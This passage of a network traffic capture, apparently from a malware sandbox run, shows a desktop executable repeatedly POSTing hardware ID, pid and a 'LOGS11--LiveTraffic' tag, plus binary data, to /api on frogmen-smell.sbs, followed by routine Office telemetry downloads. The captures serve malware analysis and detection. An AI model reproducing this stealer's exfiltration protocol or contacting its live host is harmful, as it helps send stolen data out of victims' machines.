2024-11-15 12:18:11 UTC	1369	IN	Data Raw: 6e 42 6e 49 62 6d 32 31 70 61 33 7a 63 55 75 4e 30 6f 6c 57 7a 6a 6c 57 71 4b 39 7a 32 4e 36 34 72 51 53 2f 37 4d 4b 58 64 4a 33 41 43 59 46 6b 62 2f 33 76 37 72 4d 37 42 34 6e 4e 78 77 47 44 42 46 75 67 72 47 2f 62 77 2f 65 33 51 71 71 6b 79 49 6b 2b 7a 35 49 53 6d 6d 6c 71 39 66 72 6a 34 58 52 50 67 64 2b 48 58 38 67 38 55 71 71 6b 64 39 2f 4b 74 71 55 4e 73 75 54 4b 68 58 65 46 33 30 44 47 4b 57 62 74 76 62 57 7a 51 6b 75 46 35 49 52 50 67 79 6b 66 75 75 42 2b 32 6f 7a 76 36 41 32 68 36 63 65 42 66 70 72 55 43 34 6c 6f 59 76 58 39 37 76 4e 77 54 49 48 54 67 46 54 4a 50 31 69 78 71 48 33 45 7a 4c 75 73 54 50 32 6b 79 4a 30 2b 7a 35 49 77 69 32 4a 74 39 66 44 34 73 32 6f 4a 6c 35 57 41 56 59 4e 75 45 61 75 72 63 74 44 48 74 4b 73 43 75 4f 37 41 69 6e 53 Data Ascii: nBnIbm21pa3zcUuN0olWzjlWqK9z2N64rQS/7MKXdJ3ACYFkb/3v7rM7B4nNxwGDBFugrG/bw/e3QqqkyIk+z5ISmmlq9frj4XRPgd+HX8g8Uqqkd9/KtqUNsuTKhXeF30DGKWbtvbWzQkuF5IRPgykfuuB+2ozv6A2h6ceBfprUC4loYvX97vNwTIHTgFTJP1ixqH3EzLusTP2kyJ0+z5Iwi2Jt9fD4s2oJl5WAVYNuEaurctDHtKsCuO7AinS
2024-11-15 12:18:11 UTC	1369	IN	Data Raw: 6d 68 73 2f 76 47 76 38 6e 68 58 69 5a 58 4a 47 63 56 32 43 66 50 75 4f 64 4c 64 39 2f 42 63 34 62 2b 61 31 69 6e 48 67 42 2f 47 63 43 48 6a 76 62 57 68 4f 77 65 63 6c 64 38 5a 68 44 56 44 73 61 5a 36 77 4d 2f 77 6c 6a 4b 54 37 38 4f 47 63 70 62 56 51 4d 59 70 62 72 57 6c 31 4c 4e 32 56 5a 79 61 6c 6b 2f 4f 4a 6c 62 76 71 47 6a 62 77 50 66 6d 54 50 2f 67 78 49 6c 37 6b 4d 4a 50 6d 6e 6c 71 2b 65 75 68 39 32 63 48 77 4a 57 57 55 73 77 6b 58 36 54 76 61 4d 44 42 70 36 73 4a 74 4b 6a 48 6c 48 4f 62 6b 6b 37 49 66 47 72 35 2b 2b 44 6d 4f 6c 61 59 31 70 46 65 6a 7a 35 41 72 71 77 35 36 59 4c 33 73 45 7a 72 70 50 71 47 63 4a 6e 56 46 70 6b 6b 51 66 37 78 37 76 39 30 51 4d 36 62 78 31 2b 44 62 67 4c 74 34 48 33 48 6a 4f 2f 34 58 75 69 78 6e 4e 49 75 78 63 31 4f Data Ascii: mhs/vGv8nhXiZXJGcV2CfPuOdLd9/Bc4b+a1inHgB/GcCHjvbWhOwecld8ZhDVDsaZ6wM/wljKT78OGcpbVQMYpbrWl1LN2VZyalk/OJlbvqGjbwPfmTP/gxIl7kMJPmnlq+euh92cHwJWWUswkX6TvaMDBp6sJtKjHlHObkk7IfGr5++DmOlaY1pFejz5Arqw56YL3sEzrpPqGcJnVFpkkQf7x7v90QM6bx1+DbgLt4H3HjO/4XuixnNIuxc1O
2024-11-15 12:18:11 UTC	1369	IN	Data Raw: 4f 39 74 61 41 37 42 35 79 56 33 78 6d 45 4f 46 79 69 6f 33 66 56 33 71 57 75 44 36 58 6e 69 4c 74 41 73 74 38 4e 6a 57 64 6d 79 38 50 4d 2b 57 56 4b 67 64 4b 35 5a 2f 51 6e 56 72 50 69 58 39 58 61 74 4f 68 43 38 2f 79 50 33 54 36 32 32 42 43 46 5a 6d 61 31 73 36 33 33 4e 52 2f 4f 38 49 70 55 78 6a 68 57 34 59 46 7a 78 73 47 34 72 30 7a 39 70 4d 50 46 4a 74 66 54 43 70 68 6b 62 76 4b 78 36 75 6c 79 42 38 43 56 69 52 6d 62 64 6c 43 70 73 48 54 5a 79 2f 75 75 41 72 32 6b 30 4d 74 6e 31 38 52 41 30 44 6f 76 74 65 2b 74 71 7a 55 41 67 4e 69 47 57 73 30 31 51 37 47 6d 65 73 44 50 38 4a 59 79 6c 75 6e 43 67 48 43 51 37 44 36 70 59 33 48 34 38 75 71 78 56 55 43 59 31 72 6c 6e 39 43 64 57 73 2b 4a 66 31 64 71 30 36 45 4c 7a 2f 49 2f 64 50 72 62 59 45 49 56 6d 5a Data Ascii: O9taA7B5yV3xmEOFyio3fV3qWuD6XniLtAst8NjWdmy8PM+WVKgdK5Z/QnVrPiX9XatOhC8/yP3T622BCFZma1s633NR/O8IpUxjhW4YFzxsG4r0z9pMPFJtfTCphkbvKx6ulyB8CViRmbdlCpsHTZy/uuAr2k0Mtn18RA0Dovte+tqzUAgNiGWs01Q7GmesDP8JYylunCgHCQ7D6pY3H48uqxVUCY1rln9CdWs+Jf1dq06ELz/I/dPrbYEIVmZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49702	172.67.174.133	443	2608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:12 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LJ0GF8XYL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12796 Host: frogmen-smell.sbs
2024-11-15 12:18:12 UTC	12796	OUT	Data Raw: 2d 2d 4c 4a 30 47 46 38 58 59 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 46 30 39 45 46 39 33 30 35 37 42 38 41 33 44 42 38 39 35 36 30 32 30 39 41 37 36 38 39 44 0d 0a 2d 2d 4c 4a 30 47 46 38 58 59 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 4a 30 47 46 38 58 59 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4c 4a 30 47 46 38 58 59 4c 0d 0a 43 6f 6e 74 65 6e Data Ascii: --LJ0GF8XYLContent-Disposition: form-data; name="hwid"54F09EF93057B8A3DB89560209A7689D--LJ0GF8XYLContent-Disposition: form-data; name="pid"2--LJ0GF8XYLContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--LJ0GF8XYLConten
2024-11-15 12:18:13 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g7rc6ogd9sclu09bmoh3og6ru5; expires=Tue, 11-Mar-2025 06:04:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kvvap7i%2BKNEK4QDt8l5rXieJyU9Wxxwa%2FwOFuOtKjtdaba5FlNYK%2Ff%2FuiTWh3YrqIC0Oy3WGPwKYb%2BSG0aKFpTo8CIHXzZ0fH30xM4ilwAfiv4ScB1TDsMGqLasYqAHGtb6CAQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2f2ebeb946474a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1153&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13728&delivery_rate=2492254&cwnd=251&unsent_bytes=0&cid=8034afeedf9b4c95&ts=734&x=0"
2024-11-15 12:18:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 39 0d 0a Data Ascii: 11ok 173.254.250.89
2024-11-15 12:18:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49703	172.67.174.133	443	2608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:14 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OAKCCAB78XS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15040 Host: frogmen-smell.sbs
2024-11-15 12:18:14 UTC	15040	OUT	Data Raw: 2d 2d 4f 41 4b 43 43 41 42 37 38 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 46 30 39 45 46 39 33 30 35 37 42 38 41 33 44 42 38 39 35 36 30 32 30 39 41 37 36 38 39 44 0d 0a 2d 2d 4f 41 4b 43 43 41 42 37 38 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 41 4b 43 43 41 42 37 38 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4f 41 4b 43 43 41 42 37 38 58 53 Data Ascii: --OAKCCAB78XSContent-Disposition: form-data; name="hwid"54F09EF93057B8A3DB89560209A7689D--OAKCCAB78XSContent-Disposition: form-data; name="pid"2--OAKCCAB78XSContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--OAKCCAB78XS
2024-11-15 12:18:15 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=edeco177h5s8q42ftgijfu8a9c; expires=Tue, 11-Mar-2025 06:04:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wfXG%2FWTrYs42rS14LX1w3MBagTQse8VQbHqverUFAuvAYrUDhbjeTJKwxdxBVrJ76osDZ0vePEAhOI%2BvYtZ6ZTy0neLdN7acPpGpYNqKWcCA6a9BX557IXSbV%2FC4VOu0R8A8TQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2f2ec80abc0bef-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1489&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=15974&delivery_rate=1897771&cwnd=251&unsent_bytes=0&cid=1461cbcd1b759e82&ts=681&x=0"
2024-11-15 12:18:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 39 0d 0a Data Ascii: 11ok 173.254.250.89
2024-11-15 12:18:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49704	172.67.174.133	443	2608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:15 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=F0UDASH1EPHUC7RHIQS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20413 Host: frogmen-smell.sbs
2024-11-15 12:18:15 UTC	15331	OUT	Data Raw: 2d 2d 46 30 55 44 41 53 48 31 45 50 48 55 43 37 52 48 49 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 46 30 39 45 46 39 33 30 35 37 42 38 41 33 44 42 38 39 35 36 30 32 30 39 41 37 36 38 39 44 0d 0a 2d 2d 46 30 55 44 41 53 48 31 45 50 48 55 43 37 52 48 49 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 46 30 55 44 41 53 48 31 45 50 48 55 43 37 52 48 49 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --F0UDASH1EPHUC7RHIQSContent-Disposition: form-data; name="hwid"54F09EF93057B8A3DB89560209A7689D--F0UDASH1EPHUC7RHIQSContent-Disposition: form-data; name="pid"3--F0UDASH1EPHUC7RHIQSContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-15 12:18:15 UTC	5082	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: (X6K~`iO\_,mi`m?ls}Q
2024-11-15 12:18:16 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=id7n79b1ukir3psfaiv1s666i1; expires=Tue, 11-Mar-2025 06:04:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yk8MxrRDcMrtYLdu%2Fm2w1MIxz7F6J0HaPHA4YX4lrRXjLz4944VROPr58TCNcD8amAYLrsjvSRgPIurw84CKeVrYFN99nKxxccLtHitBasvrzITHOIJnGurAcgPD8v8PsuRYCA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2f2ed1fadf6b53-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1057&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21377&delivery_rate=2686456&cwnd=247&unsent_bytes=0&cid=b3f59777e00a07e0&ts=713&x=0"
2024-11-15 12:18:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 39 0d 0a Data Ascii: 11ok 173.254.250.89
2024-11-15 12:18:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49705	172.67.174.133	443	2608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:18 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VF63HDOX679 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1183 Host: frogmen-smell.sbs
2024-11-15 12:18:18 UTC	1183	OUT	Data Raw: 2d 2d 56 46 36 33 48 44 4f 58 36 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 46 30 39 45 46 39 33 30 35 37 42 38 41 33 44 42 38 39 35 36 30 32 30 39 41 37 36 38 39 44 0d 0a 2d 2d 56 46 36 33 48 44 4f 58 36 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 56 46 36 33 48 44 4f 58 36 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 56 46 36 33 48 44 4f 58 36 37 39 Data Ascii: --VF63HDOX679Content-Disposition: form-data; name="hwid"54F09EF93057B8A3DB89560209A7689D--VF63HDOX679Content-Disposition: form-data; name="pid"1--VF63HDOX679Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--VF63HDOX679
2024-11-15 12:18:18 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=umg8g307l1e1ihpa540u52dqab; expires=Tue, 11-Mar-2025 06:04:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rsf0HIeYwyia%2B1If9ILkNyOtykdFtoejLwvQ9Xc4imY0%2FVpPXA3JTxpUuFvntyDhkFaupawrSw12cpIqaJQ5V6SgYPRaHpQLy4uuu2rdu%2FCT9Uhz6n4P1iUcZvEtvbSC5uOG6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2f2edf5f356b52-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2094&delivery_rate=1788758&cwnd=223&unsent_bytes=0&cid=506102f9eb72165c&ts=369&x=0"
2024-11-15 12:18:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 39 0d 0a Data Ascii: 11ok 173.254.250.89
2024-11-15 12:18:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49706	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:19 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:19 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:19 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 14 Nov 2024 16:27:56 GMT ETag: "0x8DD04C94BD1CD28" x-ms-request-id: 95228c9c-001e-008d-1ac3-36d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121819Z-16547b76f7fljddfhC1DFWeqbs000000020g00000000dp14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:19 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-15 12:18:19 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-15 12:18:19 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-15 12:18:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-15 12:18:19 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
